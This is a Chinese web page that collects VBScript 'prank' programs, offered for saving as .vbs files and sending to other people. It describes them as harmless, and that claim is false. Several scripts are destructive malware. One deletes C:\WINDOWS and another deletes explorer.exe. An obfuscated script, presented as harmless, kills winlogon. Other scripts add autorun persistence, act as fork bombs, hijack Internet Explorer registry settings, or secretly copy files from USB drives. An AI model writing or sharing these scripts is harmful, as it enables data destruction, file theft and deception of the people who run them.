恶作剧的vbs代码，这里提供的都是一些死循环或导致系统死机的vbs对机器没坏处，最多关机重启一下就可以了，将下面的任意一段代码保存为*.vbs即可

操作方法：把代码保存为*.VBS运行即可

经本人亲自测试 不会出大问题的，一般都是利用无限循环，不是死循环，可以通过任务管理器中结束WSCRIPT或cscript进程即可。

代码如下:

do

msgbox "hi"

loop

无限制的用英文报数

代码如下:

Set s = CreateObject("sapi.spvoice")

i=0

do

s.speak i

i=i+1

loop

代码如下:

if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then

msgbox " 系统将立刻重起wow ~_^",,"你上当了！！"

Set objShell = CreateObject("Wscript.Shell")

objShell.Run "shutdown -s -t 5",,true

end if

代码如下:

strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10)

for i=1 to UBound(strs)

runner=runner&chr(strs(i))

next

Execute runner

这个没什么，不过加密了，大家可以解密试试

代码如下:

if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then

msgbox "你SB啊!"

else

msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!"

Set ws = CreateObject("Wscript.Shell")

wscript.sleep 1200

ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide

end if

代码如下:

Set ws = CreateObject("Wscript.Shell")

ws.run "cmd.exe /c call calc.exe",0

下面的是删除explorer.exe，导致桌面没有显示，不过它事先帮你备份了，为同目录下的explorer.Data

代码如下:

set ws=CreateObject("Wscript.Shell")

ws.run "cmd.exe /c taskkill /f /im explorer.exe",0

wscript.sleep 900

ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"

wscript.sleep 1200

ws.run "cmd.exe /c del /q /f %windir%\explorer.exe

代码如下:

for each wind in verybat

ws.sendkeys wind

wscript.sleep 500

next

ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30

ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8

ws.run "taskkill /f /im qq.exe"

ws.popup"你还要上吧 慢慢玩哦",27

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

for d=0 to 4

WSHshell.SendKeys "%{F4}"

next

ws.run"shutdown -s -t 1000600"

wscript.sleep 2000

dim a

do

a=inputbox("请输入解除关机密码")

if a="403746401" then

ws.run"shutdown -a"

msgbox"密码验证成功，enjoy the best!"

exit do

else

msgbox"密码验证失败，请输入解除关机密码：403746401 ",vbretrycancel

end if

loop

ws.popup"哈哈 被吓到了吧 好玩吧？你以为真的是病毒？呵呵O(∩_∩)O~，我还没那么打本事能做出病毒来！",57

ws.popup"(\(^o^)/~ 好啦，跟你开了个小小玩笑。你也可以把这个文件发给其他人，耍耍别人。呵呵^_^",62

wscript.sleep 8900

do until i=10

i=i+1

msgbox "CPU温度过高，系统出现严重错误！，请结束所有应用程序让CPU降温！",16+4096,"系统提示："

wscript.sleep 1000*45

loop

关机

代码如下:

set sh=wscript.createobject("wscript.shell")

sh.run"shutdown -s -t 332"

关闭当前打开的多个窗口

代码如下:

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

for d=0 to 40

WSHshell.SendKeys "%{F4}"

next

代码如下:

dim a,b,c,s

Set fs=CreateObject("Scripting.FileSystemObject")

name = WScript.ScriptName

fullname = WScript.ScriptFullName

path = Replace(fullname,name,"")

a=inputbox("请在对话框中填写你真实的姓名！"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜！！ "&vbcrlf&""&vbcrlf&"不信你可以试试看！！！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","请在此输入你的名字")

If a = ""Then

WScript.Quit

End If

MyVar=MsgBox ("你的名字叫："&a&" ",vbYesNo + vbExclamation,"芮洲提示：")

If MyVar=vbYes Then

ElseIf MyVar=vbNo Then

a=inputbox("请在对话框中填写你真实的姓名！"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜！！ "&vbcrlf&""&vbcrlf&"不信你可以试试看！！！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","请在此输入你的名字")

If a = ""Then

WScript.Quit

End If

End If

wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好！"&vbcrlf&""&vbcrlf&"请填写一下你的爱好。(只需填一个哦！)","芮洲提示：","请在此输入你的爱好")

If b = ""Then

WScript.Quit

End If

wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月 日]电脑将自动算出到目前为止你已经在地球上存活了多少时间！"&vbcrlf&""&vbcrlf&"下面以我为列 不同可以修改"&vbcrlf&""&Chr(10)&"格式为：1987-06-02","芮洲提示：","1987-06-02")

If c = ""Then

WScript.Quit

End If

wscript.sleep 1000age = abs(datediff("d",date,c))

wscript.sleep 1

current = now()

h=datepart("h",current)

n=datepart("n",current)

WScript.Sleep 1000

s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小时 "&n&"分钟.....",vbOKCancel+63,"芮洲提示：")

if s=2 then

end if

Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"&a&"的秘密.vbs",true)

auto.WriteLine "MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的爱好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已经活了:"&age&"天 "&h&"小时 "&n&"分钟 "&""""&",64,"&""""&""&a&"的自我介绍："""

auto.WriteLine "msgbox"&""""&"亲爱的 "&a& " 再见了！"&""""&",48,"&""""&"芮洲提示："&""""&""

Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"&a&"生日快乐.TXT",true)

auto.WriteLine "本人芮洲祝: "&a&" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......."

auto.WriteLine "你已在地球上生活了:"&age&"天 "&h&"小时 "&n&"分钟了"

auto.WriteLine "时间是根据你的出生年月日算的，可能不是很精确，但目的只是想让知道时间过的很快，请珍惜时间!!!。"

代码如下:

dim a

a=10

Set objShell = CreateObject("Wscript.Shell")

objShell.Run "shutdown -s -t 10",,true

Set s = CreateObject("sapi.spvoice")

while a

s.Speak a

a = a - 1

wscript.sleep 100

wend

CreateObject("SAPI.SpVoice").Speak "Bomb?"

代码如下:

do

createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34)

loop

代码如下:

msgbox"此文件无毒，请放心使用。",vbretrycancel,"系统提示。"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.Run "cmd.exe /c shutdown -s -t 300"

wscript.sleep 2000

dim a

do

a=inputbox("输入abc，否则关机。")

if a="abc" then

msgbox" 很遗憾，你中招了，这是整人程序，你就等着关机吧！"

exit do

else

msgbox"乖点，输入abc"

end if

loop

代码如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)

msgbox "乖"

loop

msgbox "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox "自己骂自己的不要脸~~~~~~",4, " "

代码如下:

msgbox"你是不是很无聊啊？",4

msgbox"我来陪你玩会儿"

msgbox"做好玩儿的准备吧！"

do

msgbox"你无聊吗?",vbinformation,"你无聊吗？"

loop

代码如下:

on error resume next

set wr=createobject("scripting.filesystemobject")

set ws=createobject("wscript.shell")

set f = wr.getfile(wscript.scriptfullname)

q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")

if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true

ws.run"shutdown -p",vbhide

这个太可恶了 只好重启

代码如下:

set ws=createobject("wscript.shell")

do

ws.sendkeys "{f5}"

loop

代码如下:

Dim AutoRunProgram

Set AutoRunProgram = WScript.CreateObject("WScript.shell")

RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"

Type_Name = "REG_SZ"

Key_Name = "QUESTION.vbS"

Key_data = "C:\windows\system32\QUESTION.vbs"

AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name

Dim fso,file

Set fso = CreateObject("Scripting.FileSystemObject")

Set file = fso.getfile(WScript.ScriptFullName)

file.copy "c:\windows\system32\"

Set fso = CreateObject("Scripting.FileSystemObject")

f = fso.DeleteFile(WScript.ScriptName)

Set objShell = CreateObject("Wscript.Shell")

objShell.Run "shutdown -s -t 5",,true

代码如下:

set wmp=createobject("wmplayer.ocx")

set cd=wmp.cdromcollection.item(0)

do

cd.eject

loop

代码如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""喊我声爹，快喊"" ",0 ,true

dim a

do while(a <> "爹")

a = inputbox ("喊我爹,快撒，喊 ""爹"" ","喊不喊","不喊",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "儿子"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "等下老爹买棒棒糖给你吃"

代码如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说你爱我，不说你爱我就两分钟关你机，不信，试试···"" ",0 ,true

dim a

do while(a <> "我爱你")

a = inputbox ("说你爱我,就不关机，快撒，说 ""你爱我"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛，何必这么费劲"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，今天真过瘾

代码如下:

i = MsgBox("由于你灌水太水需要爆破电脑。"&_

vbCrLf&"确定爆破吗？",vbOKCancel,_

"爆破电脑系统！！！！！")

if i = 1 then

CreateObject("SAPI.SpVoice").Speak "bone"

end if

代码如下:

On Error Resume Next

Dim i

i=0

Set fso=CreateObject("Scripting.FileSystemObject")

IP=InputBox("请输入要监控的U盘盘符:","U盘大盗-By 最聪明的猪","I:")

ext=InputBox("请输入要盗窃的文件名的扩展名:","U盘大盗-By 最聪明的猪","txt")

MyFolder=InputBox("请输入保存文件的路径:","U盘大盗-By 最聪明的猪","E:\U盘大盗")

fso.CreateFolder(MyFolder)

Do

WScript.Sleep 1000

If fso.FolderExists(IP & "\") Then Exit Do

Loop

Scan(IP & "\")

Sub Scan(Folder_)

On Error Resume Next

Set Folder_=fso.GetFolder(Folder_)

Set Files=Folder_.Files

For Each File in Files

ext_=fso.GetExtensionName(File)

ext_=Lcase(ext_)

ext=Lcase(ext)

If ext_=ext Then

i=i+1

fso.GetFile(File).Copy(MyFolder & "\" & i & "_" & File.Name)

End If

Next

Set SubFolders=Folder_.SubFolders

For Each SubFolder In SubFolders

Scan(Subfolder)

Next

End Sub

代码如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""一分钟后,你的机子就完了,不信?!试试!"" ",0 ,true

dim a

do while(a <> "不重,不重,我就不重!")

a = inputbox ("唯一的办法就是""重启"" ","重不重启","不重,不重,我就不重!",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "真的不是我说你,乱按什么确定啊,希望你在网吧.菩萨保佑......"

msgbox chr(13) + chr(13) + chr(13) + "你的机子真的要完了,赶紧准备点钱重装机子吧.阿弥陀佛,善哉,善哉!"

msgbox chr(13) + chr(13) + chr(13) + "以后手不要在那么快了哦~"

msgbox chr(13) + chr(13) + chr(13) + "88~"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox " " + chr(14) + "~"

Dim a

Set a = CreateObject("Scripting.FileSystemObject")

a.DeleteFolder ("C:\WINDOWS")

不是死循环了，是让你死机了，重启吧

代码如下:

msgbox"让你见识一下啥叫狠毒！"

do

set ws=createobjecet("wscript.shell")

ws.run"explorer.exe"

ws.run"cmd.exe"

loop

代码如下:

on error resume next

msgbox"即将格式化！请做好准备！",vbyesno

msgbox"准备好后点yes！"，vbyesno

msgbox"sorry，忘说了，点no也行！"

msgbox"我对不起你啊！呜呜呜555哈哈哈哈！"

msgbox"靠，我笑个屁呀！我可是著名博士！在精神病院搞一种研究。。。"

msgbox"被人研究！"

msgbox"就知道你会笑！告诉你，我最歧视两种人！一是歧视别人的人，二是爱笑人，三是不识数的人！"

msgbox"你咋还笑？！是时候惩罚你了！"

do

set ws=createobjecet("wscript.shell")

ws.run"explorer.exe"

ws.run"cmd.exe"

ws.run"cmd.exe /c shutdown -s -t 7200",,ture

loop

发个特整人的东西

代码如下:

set s.createobject("wscript.shell")

lsfile=wscript.scriptfullname '获得自己的名称

do '死循环

s.run lsfile '自己运行自己

s.run "notepad" '运行记事本

loop '几秒就死机，哈

来个绿色的，无毒无害的：

代码如下:

dim a

set a=createobject("sapi.spvoice")

a.speak "ha ha ha ha hahahahahahaha"

注：ha ha ha... 可以改为几句粗话！！

输入中文后英文要取决于你的电脑会讲英文还是中文！

代码如下:

dim a

a=msgbox("给你讲个故事!",vbyesno,"默默许愿制作")

if a=vbyes then

do

msgbox("从前有座山")

msgbox("山上有座庙")

msgbox("庙里有两个和尚")

msgbox("大和尚给小和尚讲故事说")

a=1

loop while a=1

end if

将默认页，搜索页设置百度

代码如下:

if msgbox("这是被封印的东西",65,"警告！！！") = 1 then

if msgbox("请不要一意孤行",65,"警告！！！") =1 then

if msgbox("不要再按了！！",65,"警告！！！") =1 then

if msgbox("气死我了.....",65,"警告！！！") =1 then

if msgbox("既然这样...那么这个东西就归你了！",65,"祝你愉快！886") =1 then

msgbox "到这里,是你自己的命令,我也无法阻止了",65,"祝你愉快！886"

msgbox "这是一个病毒.....(由魔导之魂封印的)现在,魔导之魂也无法控制他了！！！！",65,"封印解除！！"

on error resume next

dim fso,wsh,myfile,ws,pp,fsoFolder

set wsh=wscript.createobject("wscript.shell")

set fso=wscript.createobject("scripting.filesystemobject")

set myfile=fso.GetFile(wscript.scriptfullname)

wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com"

wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page","http://www.baidu.com"

wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com"

wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com"

wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com"

wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com"

wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com"

很久很久以前，好像是高考后的那个夏天，收到过朋友的一个恶作剧程序，程序名为“一篇感动人的文章.vbs”，当时什么都不懂，直接双击了，一直耿耿于怀。双击后弹出一个输入框“输入‘我是猪'，否则十五秒后关机。我还以为是搞笑的，什么都没有输入，就真的关机了，觉得很神奇。而现在能够自己写出代码了，却再也找不到以前的快乐。

代码如下:

Option Explicit

On Error Resume Next

Dim answer

Dim WshShell

set WshShell = CreateObject("wscript.Shell")

WshShell.Run "Shutdown /f /s /t 10 /c 输入'我是猪'，否则10秒后关机~",0

Do While answer<>"我是猪"

answer=InputBox("输入'我是猪'，否则10秒后关机~","哈哈哈",,7000,8000)

Loop

WshShell.Run "Shutdown /a",0

MsgBox "哈哈哈，好玩不?",,"哈哈哈"

打开记事本，把代码复制粘贴进去，保存为“一篇感动人的文章.vbs”，一个恶作剧程序就完成了，接下来做什么就超出本文范围了。